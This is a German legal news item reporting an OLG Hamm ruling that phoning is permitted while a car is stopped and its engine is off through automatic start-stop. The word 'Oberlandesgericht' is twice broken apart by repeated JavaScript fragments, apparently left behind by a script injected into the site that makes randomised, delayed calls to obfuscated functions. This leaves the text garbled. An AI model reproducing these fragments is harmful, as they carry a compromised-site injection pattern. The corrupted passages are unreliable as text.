Nach einer Entscheidung des Oberlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andesgerichts Hamm vom 09.09.2014 (Aktenzeichen: 1 RBs 1/14) darf ein Autofahrer sein Mobiltelefon im Auto benutzen, wenn das Fahrzeug steht und der Motor infolge einer automatischen Start-Stopp-Funktion ausgeschaltet ist.

Der Betroffene musste mit seinem Fahrzeug vor einer Ampel anhalten. Während des Anhaltevorgangs wurde sein Fahrzeug aufgrund einer ECO Start/Stopp Funktion automatisch abgeschaltet. Während der Motor ausgeschaltet war hielt der Betroffene das Mobilfunktelefon an sein Ohr und telefonierte. Daraufhin wurde der Betroffene vom Amtsgericht wegen verbotenen Telefonierens mit einem Mobilfunktelefon zu einer Geldbuße von 40 Euro verurteilt.

Gegen diese Verurteilung hat sich der Betroffene erfolgreich gewehrt und Rechtsbeschwerde beim Oberlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andesgericht Hamm eingelegt, woraufhin der Betroffene freigesprochen wurde.

Das OLG Hamm vertritt die Auffassung, dass das in der Straßenverkehrsordnung normierte Verbot, ein Mobiltelefon zu benutzen, immer dann nicht gilt, wenn das Fahrzeug steht und der Motor ausgeschaltet ist. Nach den Ausführungen des OLG Hamm differenziere der Gesetzeswortlaut gerade nicht zwischen einem automatisch und einem manuell abgeschalteten Motor. Zudem stelle die Vorschrift darauf ab, dass ein Motor nur dann abgeschaltet sei, wenn zu dessen Wiedereinschalten die Zündvorrichtung bedient werden müsse. Aus diesem Grund sei ein Telefonieren auch bei einem automatisch abgeschalteten Motor zulässig, der durch das Betätigen des Gaspedals wieder in Gang gesetzt werden könne. Voraussetzung sei letztlich nur, dass das Fahrzeug tatsächlich stehe. Bei einem stehenden Fahrzeug benötigt der Fahrzeugführer gerade nicht seine beiden Hände für eigentliche Fahraufgaben.

Der Beschluss ist mittlerweile rechtskräftig.

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